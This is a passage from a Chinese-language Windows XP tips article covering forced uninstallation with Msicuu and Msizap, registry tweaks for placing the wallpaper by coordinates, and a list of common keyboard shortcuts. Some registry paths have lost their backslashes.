首先打开Windows XP安装盘,点“Support Tools”,进入硬盘Support Tools安装目录(X:Program FilesSupport Tools),找到Msicuu.exe并双击,于是就会弹出一个“Windows Installer Clean Up”窗口,显示当前已安装的所有程序列表。你从中选择顽固程序,然后单击“Rmove”按钮即可卸载。如果以上方法无效,建议你用Msizap.exe来卸载,即:打开注册表编辑器,定位到HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionUninstall,在左边项中找到顽固程序的标识(例如{-A994--B974D5CAFC7B}),然后依次“开始→程序→Windows Support Tools→Command Prompt”命令,在命令提示符后,输入以下命令:msizap T {顽固程序的标识},按回车后即可卸载顽固程序。
6、超级兔子优化王专业卸载功能卸载常见顽固软件及IE插件
首先选择优化王下的“卸载软件”功能,然后切换到“专业卸载”选项卡,此处提供了18种软件的卸载功能。超级兔子优化王软件会自动对系统进行检测,若装有该程序的话此处便会显示“已安装”,接着选中要卸载的软件,单击“下一步”就可以把这些程序清理干净,将它们彻底赶出系统。
十四、让墙纸设置与众不同
Windows95以后的操作系统提供有三种墙纸放置方式:"居中"、"平铺"、"拉伸",用户
可以根据个人的喜欢和图片的大小选择墙纸的放置方式。其实Windows还提供了一种可以利用X、Y坐标来精确放置墙纸的方式,这种方式可以把墙纸设定在一个指定的位置,配合桌面图标。
打开注册表
1、HKEY_CURRENT_USERCoutrol PanelDesktop子键
2、在右侧窗口中新建两个字符串值:"WallPaperoriginX"(图片所在位置的X坐标) 和"WallpaperoriginY"(图片所在位置的Y坐标)
3、分别双击它们就可以输入坐标,需要注意的是X、Y坐标的范围是有限的,这要由用户为屏幕设置的分辨率决定。如果用户的分辨率是,则X坐标的最大值不能超过1024;而Y坐标的最大值不能超过768。当然更不能是负数了。其他分辨率的用户可以据此类推。
4、重新启动计算机,就会看到以第四种方式设置的墙纸了
十六、常用快捷键
winkey+d :
这是高手最常用的第一快捷组合键。这个快捷键组合可以将桌面上的所有窗口瞬间最小化,无论是聊天的窗口还是游戏的窗口……只要再次按下这个组合键,刚才的所有窗口都回来了,而且激活的也正是你最小化之前在使用的窗口!
winkey+f :
不用再去移动鼠标点“开始→搜索→文件和文件夹”了,在任何状态下,只要一按winkey+f就会弹出搜索窗口。
winkey+r :
在我们的文章中,你经常会看到这样的操作提示:“点击‘开始→运行’,打开‘运行’对话框……”。其实,还有一个更简单的办法,就是按winkey + r!
alt + tab :
如果打开的窗口太多,这个组合键就非常有用了,它可以在一个窗口中显示当前打开的所有窗口的名称和图标●,选中自己希望要打开的窗口,松开这个组合键就可以了。而alt+tab+shift键则可以反向显示当前打开的窗口。
winkey+e :
当你需要打开资源管理器找文件的时候,这个快捷键会让你感觉非常“爽”!再也不用腾出一只手去摸鼠标了!
注:winkey指的是键盘上刻有windows徽标的键●。winkey主要出现在104键和107键的键盘中。104键盘又称win95键盘,这种键盘在原来101键盘的左右两边、ctrl和alt键之间增加了两个windwos键和一个属性关联键。107键盘又称为win98键盘,比104键多了睡眠、唤醒、开机等电源管理键,这3个键大部分位于键盘的右上方。
F1 显示当前程序或者windows的帮助内容。
F2 当你选中一个文件的话,这意味着“重命名”
F3 当你在桌面上的时候是打开“查找:所有文件” 对话框
F10或ALT 激活当前程序的菜单栏
windows键或CTRL+ESC 打开开始菜单
CTRL+ALT+DELETE 在win9x中打开关闭程序对话框
DELETE 删除被选择的选择项目,如果是文件,将被放入回收站
SHIFT+DELETE 删除被选择的选择项目,如果是文件,将被直接删除而不是放入回收站
CTRL+N 新建一个新的文件
CTRL+O 打开“打开文件”对话框
CTRL+P 打开“打印”对话框
CTRL+S 保存当前操作的文件
CTRL+X 剪切被选择的项目到剪贴板
CTRL+INSERT 或 CTRL+C 复制被选择的项目到剪贴板
SHIFT+INSERT 或 CTRL+V 粘贴剪贴板中的内容到当前位置
ALT+BACKSPACE 或 CTRL+Z 撤销上一步的操作
ALT+SHIFT+BACKSPACE 重做上一步被撤销的操作
Windows键+D: 最小化或恢复windows窗口
Windows键+U: 打开“辅助工具管理器”
Windows键+CTRL+M 重新将恢复上一项操作前窗口的大小和位置
Windows键+E 打开资源管理器
Windows键+F 打开“查找:所有文件”对话框
Windows键+R 打开“运行”对话框
Windows键+BREAK 打开“系统属性”对话框
Windows键+CTRL+F 打开“查找:计算机”对话框
SHIFT+F10或鼠标右击 打开当前活动项目的快捷菜单
SHIFT 在放入CD时按下不放,可以跳过自动播放CD。在打开word的时候按下不放,可以跳过自启动的宏
ALT+F4 关闭当前应用程序
ALT+SPACEBAR 打开程序最左上角的菜单
ALT+TAB 切换当前程序
ALT+ESC 切换当前程序
ALT+ENTER 将windows下运行的MSDOS窗口在窗口和全屏幕状态间切换
PRINT SCREEN 将当前屏幕以图象方式拷贝到剪贴板
ALT+PRINT SCREEN 将当前活动程序窗口以图象方式拷贝到剪贴板
CTRL+F4 关闭当前应用程序中的当前文本(如word中)
CTRL+F6 切换到当前应用程序中的下一个文本(加shift 可以跳到前一个窗口)
ALT+RIGHT ARROW 显示前一页(前进键)
ALT+LEFT ARROW 显示后一页(后退键)
CTRL+TAB 在页面上的各框架中切换(加shift反向)
CTRL+F5 强行刷新
Powered By}

我要回帖

更多关于 vcmfc 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信